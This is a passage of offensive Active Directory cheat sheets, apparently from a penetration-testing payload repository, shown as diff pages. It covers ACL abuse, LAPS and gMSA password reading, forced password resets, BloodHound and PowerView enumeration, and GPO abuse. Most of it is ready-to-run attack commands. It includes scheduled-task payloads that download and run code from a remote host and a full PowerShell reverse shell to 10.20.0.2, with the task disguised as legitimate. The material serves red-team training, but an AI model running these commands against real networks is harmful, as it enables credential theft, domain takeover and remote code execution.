PowerSploit> Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1
```
## WriteOwner
An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they wants.
* Windows/Linux:
```ps1
bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' set owner target_object devil_user1
```
* Windows only:
```ps1
Powerview> Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'
```
This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.
## ReadLAPSPassword
An attacker can read the LAPS password of the computer account this ACE applies to.
* Windows/Linux:
```ps1
bloodyAD -u john.doe -d bloody.lab -p Password512 --host 192.168.10.2 get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
```
* Windows only:
```ps1
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
```
## ReadGMSAPassword
An attacker can read the GMSA password of the account this ACE applies to.
* Windows/Linux:
```ps1
bloodyAD -u john.doe -d bloody -p Password512 --host 192.168.10.2 get object 'gmsaAccount$' --attr msDS-ManagedPassword
```
* Windows only:
```ps1
# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
# Decode the data structure using the DSInternals module
ConvertFrom-ADManagedPasswordBlob $mp
```
## ForceChangePassword
An attacker can change the password of the user this ACE applies to:
* Windows/Linux:
```ps1
# Using bloodyAD with pass-the-hash
bloodyAD --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B set password target_user target_newpwd
```
* Windows:
```powershell
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
```
* Linux:
```ps1
# Using rpcclient from the Samba software suite
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd"
```
## Organizational Units ACL
Access rights granted on Organizational Units can be exploited to compromise all the objects that are contained in it.
* [synacktiv/OUned](https://github.com/synacktiv/OUned) - The OUned project automating Active Directory Organizational Units ACL exploitation through gPLink poisoning
### Non privileged objects
A user having the `GenericAll` right (and thus `WriteDACL` permissions) over an OU could add a `FullControl` ACE to the OU and specify that this ACE should be inherited, which will effectively lead to the compromise of all child objects since they will inherit said ACE.
* Grant `Full Control` on **SERVERS** OU
```ps1
dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'username' -target-dn 'OU=SERVERS,DC=lab,DC=local' 'lab.local'/'username':'Password1'
```
* Verify that we have `Full Control` ACL on **AD01-SRV1** inside **SERVERS**
```ps1
dacledit.py -action 'read' -principal 'username' -target-dn 'CN=AD01-SRV1,OU=SERVERS,DC=lab,DC=local' 'lab.local'/'username':'Password1'
```
:warning: ACE inheritance from parent objects is disabled for `adminCount=1`
### Privileged objects
**Requirements**:
* `GenericWrite` OR `Manage Group Policy` links
* Create a machine account
* Add new DNS records
**Attack's Flow**: gPLink -> Attacker GPC FQDN -> GPT configuration files in Attacker SMB share -> execute a malicious scheduled task
* Edit the `gPLink` value to include a GPC FQDN pointing the attacker machine
* Create a fake LDAP server mimicking the real one, but with a custom GPC
* GPC's gPCFileSysPath value is pointing to the attacker SMB share
* The SMB share is serving GPT configuration files including a malicious scheduled task
**Exploit**:
Check this [blog post from Synacktiv](https://www.synacktiv.com/publications/ounedpy-exploiting-hidden-organizational-units-acl-attack-vectors-in-active-directory) to correctly setup all the requirements for this attack to succeeded.
```ps1
sudo python3 OUned.py --config config.ini
sudo python3 OUned.py --config config.example.ini --just-coerce
```
## References
* [ACE to RCE - @JustinPerdok - July 24, 2020](https://sensepost.com/blog/2020/ace-to-rce/)
* [Access Control Entries (ACEs) - The Hacker Recipes - @_nwodtuhs](https://www.thehacker.recipes/active-directory-domain-services/movement/abusing-aces)
* [Escalating privileges with ACLs in Active Directory - April 26, 2018 - Rindert Kramer and Dirk-jan Mollema](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
* [Training - Attacking and Defending Active Directory Lab - Altered Security](https://www.alteredsecurity.com/adlab)
* [OU having a laugh? - Petros Koutroumpis - 6 November, 2019](https://labs.withsecure.com/publications/ou-having-a-laugh)
* [OUNED.PY: EXPLOITING HIDDEN ORGANIZATIONAL UNITS ACL ATTACK VECTORS IN ACTIVE DIRECTORY - Quentin Roland - 19/04/2024](https://www.synacktiv.com/publications/ounedpy-exploiting-hidden-organizational-units-acl-attack-vectors-in-active-directory)

View File

@@ -0,0 +1,426 @@
# Active Directory - Enumeration
## Using BloodHound
Use the appropriate data collector to gather information for **BloodHound** or **BloodHound Community Edition (CE)** across various platforms.
* [BloodHoundAD/AzureHound](https://github.com/BloodHoundAD/AzureHound) for Azure Active Directory
* [BloodHoundAD/SharpHound](https://github.com/BloodHoundAD/SharpHound) for local Active Directory (C# collector)
* [FalconForceTeam/SOAPHound](https://github.com/FalconForceTeam/SOAPHound) for local Active Directory (C# collector using ADWS)
* [g0h4n/RustHound-CE](https://github.com/g0h4n/RustHound-CE) for local Active Directory (Rust collector)
* [NH-RED-TEAM/RustHound](https://github.com/NH-RED-TEAM/RustHound) for local Active Directory (Rust collector)
* [fox-it/BloodHound.py](https://github.com/fox-it/BloodHound.py) for local Active Directory (Python collector)
* [coffeegist/bofhound](https://github.com/coffeegist/bofhound) for local Active Directory (Generate BloodHound compatible JSON from logs written by ldapsearch BOF, pyldapsearch and Brute Ratel's LDAP Sentinel)
* [c3c/ADExplorerSnapshot.py](https://github.com/c3c/ADExplorerSnapshot.py) for local Active Directory (Generate BloodHound compatible JSON from AD Explorer snapshot)
* [CrowdStrike/sccmhound](https://github.com/CrowdStrike/sccmhound) for local Active Directory (C# collector using Microsoft Configuration Manager)
* [SpecterOps/MSSQLHound](https://github.com/SpecterOps/MSSQLHound) for MSSQL attack paths (BloodHound OpenGraph PowerShell collector)
* [SpecterOps/SnowHound](https://github.com/SpecterOps/SnowHound) for Snowflake attack paths (BloodHound OpenGraph PowerShell collector)
* [SpecterOps/GitHound](https://github.com/SpecterOps/GitHound) for GitHub attack paths (BloodHound OpenGraph PowerShell collector)
* [SpecterOps/1PassHound](https://github.com/SpecterOps/1PassHound) for 1Password attack paths (BloodHound OpenGraph PowerShell collector)
* [TheSleekBoyCompany/AnsibleHound](https://github.com/TheSleekBoyCompany/AnsibleHound) for Ansible WorX and Ansible Tower attack paths (BloodHound OpenGraph Go collector)
* [p0dalirius/sharehound](https://github.com/p0dalirius/sharehound) - for Network Shares attack paths (BloodHound OpenGraph Python collector)
* [C0KERNEL/SecretHound](https://github.com/C0KERNEL/SecretHound) - for secrets (BloodHound OpenGraph Python collector)
* [F41zK4r1m/GCP-Hound](https://github.com/F41zK4r1m/GCP-Hound) - for GCP attack path (BloodHound OpenGraph Python collector)
* [SpecterOps/ConfigManBearPig](https://github.com/SpecterOps/ConfigManBearPig) - for SCCM attack path (BloodHound OpenGraph PowerShell collector)
**Examples**:
* Use [BloodHoundAD/AzureHound](https://github.com/BloodHoundAD/AzureHound) (more info: [Cloud - Azure Pentest](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest.md#azure-recon-tools))
* Use [BloodHoundAD/SharpHound.exe](https://github.com/BloodHoundAD/BloodHound) - run the collector on the machine using SharpHound.exe
```powershell
.\SharpHound.exe -c all -d active.htb --searchforest
.\SharpHound.exe -c all,GPOLocalGroup # all collection doesn't include GPOLocalGroup by default
.\SharpHound.exe --CollectionMethod DCOnly # only collect from the DC, doesn't query the computers (more stealthy)
.\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword <Password> --JSONFolder <PathToFile>
.\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword <Password> --domaincontroller 10.10.10.100 -d active.htb
.\SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\Windows\Temp --prettyprint --randomfilenames --collectallproperties --throttle 10000 --jitter 23 --outputprefix internalallthething
```
* Use [BloodHoundAD/SharpHound.ps1](https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1) - run the collector on the machine using Powershell
```powershell
Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
Invoke-BloodHound -CollectionMethod All -LDAPUser <UserName> -LDAPPass <Password> -OutputDirectory <PathToFile>
```
* Use [ly4k/Certipy](https://github.com/ly4k/Certipy) to collect certificates data
```ps1
certipy find 'corp.local/john:Passw0rd@dc.corp.local' -bloodhound
certipy find 'corp.local/john:Passw0rd@dc.corp.local' -old-bloodhound
certipy find 'corp.local/john:Passw0rd@dc.corp.local' -vulnerable -hide-admins -username user@domain -password Password123
```
* Use [NH-RED-TEAM/RustHound](https://github.com/OPENCYBER-FR/RustHound)
```ps1
# Windows with GSSAPI session
rusthound.exe -d domain.local --ldapfqdn domain
# Windows/Linux simple bind connection username:password
rusthound.exe -d domain.local -u user@domain.local -p Password123 -o output -z
# Linux with username:password and ADCS module for @ly4k BloodHound version
rusthound -d domain.local -u 'user@domain.local' -p 'Password123' -o /tmp/adcs --adcs -z
```
* Use [FalconForceTeam/SOAPHound](https://github.com/FalconForceTeam/SOAPHound)
```ps1
--buildcache: Only build cache and not perform further actions
--bhdump: Dump BloodHound data
--certdump: Dump AD Certificate Services (ADCS) data
--dnsdump: Dump AD Integrated DNS data
SOAPHound.exe --buildcache -c c:\temp\cache.txt
SOAPHound.exe -c c:\temp\cache.txt --bhdump -o c:\temp\bloodhound-output
SOAPHound.exe -c c:\temp\cache.txt --bhdump -o c:\temp\bloodhound-output --autosplit --threshold 1000
SOAPHound.exe -c c:\temp\cache.txt --certdump -o c:\temp\bloodhound-output
SOAPHound.exe --dnsdump -o c:\temp\dns-output
```
* Use [fox-it/BloodHound.py](https://github.com/fox-it/BloodHound.py)
```ps1
pip install bloodhound
bloodhound-python -d domain.local -u username -p password -gc LAB2008DC01.domain.local -c all
```
* Use [c3c/ADExplorerSnapshot.py](https://github.com/c3c/ADExplorerSnapshot.py) to query data from SysInternals/ADExplorer snapshot (ADExplorer remains a legitimate binary signed by Microsoft, avoiding detection with security solutions).
```py
ADExplorerSnapshot.py <snapshot path> -o <*.json output folder path>
```
Then import the zip/json files into the Neo4J database and query them.
```powershell
root@payload$ apt install bloodhound
# start BloodHound and the database
root@payload$ neo4j console
# or use docker
root@payload$ docker run -itd -p 7687:7687 -p 7474:7474 --env NEO4J_AUTH=neo4j/bloodhound -v $(pwd)/neo4j:/data neo4j:4.4-community
root@payload$ ./bloodhound --no-sandbox
Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
```
NOTE: Currently BloodHound Community Edition is still a work in progress, it is highly recommended to stay on the original [BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound/) version.
```ps1
git clone https://github.com/SpecterOps/BloodHound
cd examples/docker-compose/
cat docker-compose.yml | docker compose -f - up
# UI: http://localhost:8080/ui/login
# Username: admin
# Password: see your Docker logs
```
You can add some custom queries like :
* [BloodHound Queries For All - SpecterOps](https://queries.specterops.io/)
* [Bloodhound-Custom-Queries from @hausec](https://github.com/hausec/Bloodhound-Custom-Queries/blob/master/customqueries.json)
* [BloodHoundQueries from CompassSecurity](https://github.com/CompassSecurity/BloodHoundQueries/blob/master/customqueries.json)
* [BloodHound Custom Queries from Exegol - @ShutdownRepo](https://raw.githubusercontent.com/ThePorgs/Exegol-images/main/sources/assets/bloodhound/customqueries.json)
* [Certipy BloodHound Custom Queries from ly4k](https://github.com/ly4k/Certipy/blob/main/customqueries.json)
Replace the customqueries.json file located at `/home/username/.config/bloodhound/customqueries.json` or `C:\Users\USERNAME\AppData\Roaming\BloodHound\customqueries.json`.
## Using PowerView
* **Get Current Domain:** `Get-NetDomain`
* **Enum Other Domains:** `Get-NetDomain -Domain <DomainName>`
* **Get Domain SID:** `Get-DomainSID`
* **Get Domain Policy:**
```powershell
Get-DomainPolicy
#Will show us the policy configurations of the Domain about system access or kerberos
(Get-DomainPolicy)."system access"
(Get-DomainPolicy)."kerberos policy"
```
* **Get Domain Controlers:**
```powershell
Get-NetDomainController
Get-NetDomainController -Domain <DomainName>
```
* **Enumerate Domain Users:**
```powershell
Get-NetUser
Get-NetUser -SamAccountName <user>
Get-NetUser | select cn
Get-UserProperty
#Check last password change
Get-UserProperty -Properties pwdlastset
#Get a specific "string" on a user's attribute
Find-UserField -SearchField Description -SearchTerm "wtver"
#Enumerate user logged on a machine
Get-NetLoggedon -ComputerName <ComputerName>
#Enumerate Session Information for a machine
Get-NetSession -ComputerName <ComputerName>
#Enumerate domain machines of the current/specified domain where specific users are logged into
Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName, SessionFromName
```
* **Enum Domain Computers:**
```powershell
Get-NetComputer -FullData
Get-DomainGroup
#Enumerate Live machines
Get-NetComputer -Ping
```
* **Enum Groups and Group Members:**
```powershell
Get-NetGroupMember -GroupName "<GroupName>" -Domain <DomainName>
#Enumerate the members of a specified group of the domain
Get-DomainGroup -Identity <GroupName> | Select-Object -ExpandProperty Member
#Returns all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences
Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
```
* **Enumerate Shares**
```powershell
#Enumerate Domain Shares
Find-DomainShare
#Enumerate Domain Shares the current user has access
Find-DomainShare -CheckShareAccess
```
* **Enum Group Policies:**
```powershell
Get-NetGPO
# Shows active Policy on specified machine
Get-NetGPO -ComputerName <Name of the PC>
Get-NetGPOGroup
#Get users that are part of a Machine's local Admin group
Find-GPOComputerAdmin -ComputerName <ComputerName>
```
* **Enum OUs:**
```powershell
Get-NetOU -FullData
Get-NetGPO -GPOname <The GUID of the GPO>
```
* **Enum ACLs:**
```powershell
# Returns the ACLs associated with the specified account
Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose
#Search for interesting ACEs
Invoke-ACLScanner -ResolveGUIDs
#Check the ACLs associated with a specified path (e.g smb share)
Get-PathAcl -Path "\\Path\Of\A\Share"
```
* **Enum Domain Trust:**
```powershell
Get-NetDomainTrust
Get-NetDomainTrust -Domain <DomainName>
```
* **Enum Forest Trust:**
```powershell
Get-NetForestDomain
Get-NetForestDomain Forest <ForestName>
#Domains of Forest Enumeration
Get-NetForestDomain
Get-NetForestDomain Forest <ForestName>
#Map the Trust of the Forest
Get-NetForestTrust
Get-NetDomainTrust -Forest <ForestName>
```
* **User Hunting:**
```powershell
#Finds all machines on the current domain where the current user has local admin access
Find-LocalAdminAccess -Verbose
#Find local admins on all machines of the domain:
Invoke-EnumerateLocalAdmin -Verbose
#Find computers were a Domain Admin OR a specified user has a session
Invoke-UserHunter
Invoke-UserHunter -GroupName "RDPUsers"
Invoke-UserHunter -Stealth
#Confirming admin access:
Invoke-UserHunter -CheckAccess
```
## Using AD Module
* **Get Current Domain:** `Get-ADDomain`
* **Enum Other Domains:** `Get-ADDomain -Identity <Domain>`
* **Get Domain SID:** `Get-DomainSID`
* **Get Domain Controlers:**
```powershell
Get-ADDomainController
Get-ADDomainController -Identity <DomainName>
```
* **Enumerate Domain Users:**
```powershell
Get-ADUser -Filter * -Identity <user> -Properties *
#Get a specific "string" on a user's attribute
Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name, Description
```
* **Enum Domain Computers:**
```powershell
Get-ADComputer -Filter * -Properties *
Get-ADGroup -Filter *
```
* **Enum Domain Trust:**
```powershell
Get-ADTrust -Filter *
Get-ADTrust -Identity <DomainName>
```
* **Enum Forest Trust:**
```powershell
Get-ADForest
Get-ADForest -Identity <ForestName>
#Domains of Forest Enumeration
(Get-ADForest).Domains
```
* **Enum Local AppLocker Effective Policy:**
```powershell
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```
## User Hunting
Sometimes you need to find a machine where a specific user is logged in.
You can remotely query every machines on the network to get a list of the users's sessions.
* netexec
```ps1
nxc smb 10.10.10.0/24 -u Administrator -p 'P@ssw0rd' --sessions
SMB 10.10.10.10 445 WIN-8OJFTLMU1IG [+] Enumerated sessions
SMB 10.10.10.10 445 WIN-8OJFTLMU1IG \\10.10.10.10 User:Administrator
```
* Impacket Smbclient
```ps1
$ impacket-smbclient Administrator@10.10.10.10
# who
host: \\10.10.10.10, user: Administrator, active: 1, idle: 0
```
* PowerView Invoke-UserHunter
```ps1
# Find computers were a Domain Admin OR a specified user has a session
Invoke-UserHunter
Invoke-UserHunter -GroupName "RDPUsers"
Invoke-UserHunter -Stealth
```
## RID cycling
In Windows, every security principal (user, group, etc.) has a Security Identifier (SID). The SID is a unique identifier used for access control.
```ps1
S-1-5-21-<domain>-<RID>
```
* `S-1-5-21-<domain>` = Base domain SID
* `<RID>` = Unique ID assigned to a user/group
RID cycling involves brute-forcing a range of RIDs (like 5001500) by appending them to the known domain SID, and attempting to resolve each SID into a username.
* Using [Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec)
```ps1
netexec smb 10.10.11.231 -u guest -p '' --rid-brute 10000 --log rid-brute.txt
SMB 10.10.11.231 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.231 445 DC01 [+] rebound.htb\guest:
SMB 10.10.11.231 445 DC01 498: rebound\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.231 445 DC01 500: rebound\Administrator (SidTypeUser)
SMB 10.10.11.231 445 DC01 501: rebound\Guest (SidTypeUser)
SMB 10.10.11.231 445 DC01 502: rebound\krbtgt (SidTypeUser)
```
* Using Impacket script [impacket/lookupsid.py](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```ps1
lookupsid.py -no-pass 'guest@rebound.htb' 20000
```
## Other Interesting Commands
* **Find Domain Controllers**
```ps1
nslookup domain.com
nslookup -type=srv _ldap._tcp.dc._msdcs.<domain>.com
nltest /dclist:domain.com
Get-ADDomainController -filter * | Select-Object name
gpresult /r
$Env:LOGONSERVER
echo %LOGONSERVER%
```
## References
* [Explain like Im 5: Kerberos - Apr 2, 2013 - @roguelynn](https://www.roguelynn.com/words/explain-like-im-5-kerberos/)
* [Pen Testing Active Directory Environments - Part I: Introduction to netexec (and PowerView)](https://blog.varonis.com/pen-testing-active-directory-environments-part-introduction-netexec-powerview/)
* [Pen Testing Active Directory Environments - Part II: Getting Stuff Done With PowerView](https://blog.varonis.com/pen-testing-active-directory-environments-part-ii-getting-stuff-done-with-powerview/)
* [Pen Testing Active Directory Environments - Part III: Chasing Power Users](https://blog.varonis.com/pen-testing-active-directory-environments-part-iii-chasing-power-users/)
* [Pen Testing Active Directory Environments - Part IV: Graph Fun](https://blog.varonis.com/pen-testing-active-directory-environments-part-iv-graph-fun/)
* [Pen Testing Active Directory Environments - Part V: Admins and Graphs](https://blog.varonis.com/pen-testing-active-directory-v-admins-graphs/)
* [Pen Testing Active Directory Environments - Part VI: The Final Case](https://blog.varonis.com/pen-testing-active-directory-part-vi-final-case/)
* [Attacking Active Directory: 0 to 0.9 - Eloy Pérez González - 2021/05/29](https://zer1t0.gitlab.io/posts/attacking_ad/)
* [Fun with LDAP, Kerberos (and MSRPC) in AD Environments](https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments)
* [Penetration Testing Active Directory, Part I - March 5, 2019 - Hausec](https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/)
* [Penetration Testing Active Directory, Part II - March 12, 2019 - Hausec](https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/)
* [Using bloodhound to map the user network - Hausec](https://hausec.com/2017/10/26/using-bloodhound-to-map-the-user-network/)
* [PowerView 3.0 Tricks - HarmJ0y](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993)
* [SOAPHound - tool to collect Active Directory data via ADWS - Nikos Karouzos - 01/26/204](https://medium.com/falconforce/soaphound-tool-to-collect-active-directory-data-via-adws-165aca78288c)
* [Training - Attacking and Defending Active Directory Lab - Altered Security](https://www.alteredsecurity.com/adlab)

View File

@@ -0,0 +1,163 @@
# Active Directory - Group Policy Objects
> Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner
:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local
GPO are stored in the DC in `\\<domain.dns>\SYSVOL\<domain.dns>\Policies\<GPOName>\`, inside two folders **User** and **Machine**.
If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at `Machine\Preferences\ScheduledTasks`.
:warning: Domain members refresh group policy settings every 90 minutes with a random offset of 0 to 30 minutes but it can locally be forced with the following command: `gpupdate /force`.
## Find vulnerable GPO
Look a GPLink where you have the **Write** right.
```powershell
Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|AllExtendedWrite|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner")}
```
* [cogiceo/GPOHound](https://github.com/cogiceo/GPOHound) - Offensive GPO dumping and analysis tool that leverages and enriches BloodHound data.
```ps1
pipx install "git+https://github.com/cogiceo/GPOHound"
gpohound dump --json
gpohound dump --list --gpo-name
gpohound dump --guid 21246D99-1426-495B-9E8E-556ABDD81F94
gpohound dump --file scripts psscripts
gpohound dump --search 'VNC.*Server' --show
gpohound analysis --json
gpohound analysis --processed --object group registry
gpohound analysis --guid CCF6CAE3-E280-4109-8F9D-25461DBB5D67 --affected
gpohound analysis --computer 'SRV-PA-03.NORTH.SEVENKINGDOMS.LOCAL' --order
gpohound analysis --enrich
```
## Abuse GPO with SharpGPOAbuse
* [FSecureLABS/SharpGPOAbuse](https://github.com/FSecureLABS/SharpGPOAbuse) - SharpGPOAbuse is a .NET application written in C# that can be used to take advantage of a user's edit rights on a Group Policy Object (GPO) in order to compromise the objects that are controlled by that GPO.
```powershell
# Build and configure SharpGPOAbuse
Install-Package CommandLineParser -Version 1.9.3.15
ILMerge.exe /out:C:\SharpGPOAbuse.exe C:\Release\SharpGPOAbuse.exe C:\Release\CommandLine.dll
# Adding User Rights
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"
# Adding a Local Admin
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
# Configuring a User or Computer Logon Script
.\SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
# Configuring a Computer or User Immediate Task
# /!\ Intended to "run once" per GPO refresh, not run once per system
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
.\SharpGPOAbuse.exe --AddComputerTask --GPOName "VULNERABLE_GPO" --Author 'LAB.LOCAL\User' --TaskName "EvilTask" --Arguments "/c powershell.exe -nop -w hidden -enc BASE64_ENCODED_COMMAND " --Command "cmd.exe" --Force
```
## Abuse GPO with PowerGPOAbuse
* [rootSySdk/PowerGPOAbuse](https://github.com/rootSySdk/PowerGPOAbuse) - Powershell version of SharpGPOAbuse.
```ps1
PS> . .\PowerGPOAbuse.ps1
# Adding a localadmin
PS> Add-LocalAdmin -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'
# Assign a new right
PS> Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'
# Adding a New Computer/User script
PS> Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(Get-Content evil.ps1) -GPOIdentity 'SuperSecureGPO'
# Create an immediate task
PS> Add-GPOImmediateTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments "'$(Get-Content evil.ps1)'" -Author Administrator -Scope Computer/User -GPOIdentity 'SuperSecureGPO'
```
## Abuse GPO with pyGPOAbuse
* [Hackndo/pyGPOAbuse](https://github.com/Hackndo/pyGPOAbuse) - Partial python implementation of SharpGPOAbuse.
```powershell
# Add john user to local administrators group (Password: H4x00r123..)
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
# Reverse shell example
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \
-powershell \
-command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \
-taskname "Completely Legit Task" \
-description "Dis is legit, pliz no delete" \
-user
```
## Abuse GPO with PowerView
```powershell
# Enumerate GPO
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
# New-GPOImmediateTask to push an Empire stager out to machines via VulnGPO
New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments '-NoP -NonI -W Hidden -Enc AAAAAAA...' -Force
```
## Abuse GPO with StandIn
* [FuzzySecurity/StandIn](https://github.com/FuzzySecurity/StandIn) - StandIn is a small .NET35/45 AD post-exploitation toolkit.
```powershell
# Add a local administrator
StandIn.exe --gpo --filter Shards --localadmin user002
# Set custom right to a user
StandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege,SeLoadDriverPrivilege"
# Execute a custom command
StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args"
```
## Abuse GPO with GroupPolicyBackdoor
* [synacktiv/GroupPolicyBackdoor](https://github.com/synacktiv/GroupPolicyBackdoor) - Group Policy Objects manipulation and exploitation framework
```ps1
# Add Immediate Task to your target GPO
python3 gpb.py gpo inject --domain 'corp.com' --dc 'ad01-dc.corp.com' -k --module modules_templates/ImmediateTask_create.ini --gpo-name 'TARGET_GPO'
# Clean
python3 gpb.py gpo clean --domain 'corp.com' --dc 'ad01-dc.corp.com' -k --state-folder 'state_folders/2025_07_15_075047'
```
**ImmediateTask_create.ini**:
```ps1
[MODULECONFIG]
name = Scheduled Tasks
type = computer
[MODULEOPTIONS]
task_type = immediate
program = cmd.exe
arguments = /c "whoami > C:\Temp\poc.txt"
[MODULEFILTERS]
filters =
[{
"operator": "AND",
"type": "Computer Name",
"value": "ad01-srv1.corp.com"
}]
```
## References
* [A Red Teamer's Guide to GPOs and OUs - APRIL 2, 2018 - @_wald0](https://wald0.com/?p=179)
* [Abusing GPO Permissions - harmj0y - March 17, 2016](https://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/)
* [Abusing sAMAccountName Hijacking in "GPP: Local Users and Groups" - @toffyrak - June 12, 2025](https://www.cogiceo.com/en/whitepaper_gpphijacking/)
* [GPO Abuse - Part 1 - RastaMouse - 6 January 2019](https://rastamouse.me/2019/01/gpo-abuse-part-1/)
* [GPO Abuse - Part 2 - RastaMouse - 13 January 2019](https://rastamouse.me/2019/01/gpo-abuse-part-2/)
* [GPO Abuse: "You can't see me" - Huy Kha - July 19, 2019](https://pentestmag.com/gpo-abuse-you-cant-see-me/)
* [Training - Attacking and Defending Active Directory Lab - Altered Security](https://www.alteredsecurity.com/adlab)

View File

@@ -0,0 +1,175 @@
# Active Directory - Groups
## Dangerous Built-in Groups Usage
If you do not want modified ACLs to be overwritten every hour, you should change ACL template on the object `CN=AdminSDHolder,CN=System` or set `adminCount` attribute to `0` for the required object.
> The AdminCount attribute is set to `1` automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s).
Find users with `AdminCount=1`.
```ps1
netexec ldap 10.10.10.10 -u username -p password --admin-count
# or
bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 get search --filter '(admincount=1)' --attr sAMAccountName
# or
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.10.10.10
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json
# or
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
# or
([adsisearcher]"(AdminCount=1)").findall()
```
## AdminSDHolder Attribute
> The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all "protected groups" in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.
If you modify the permissions of **AdminSDHolder**, that permission template will be pushed out to all protected accounts automatically by `SDProp` (in an hour).
E.g: if someone tries to delete this user from the Domain Admins in an hour or less, the user will be back in the group.
* Windows/Linux:
```ps1
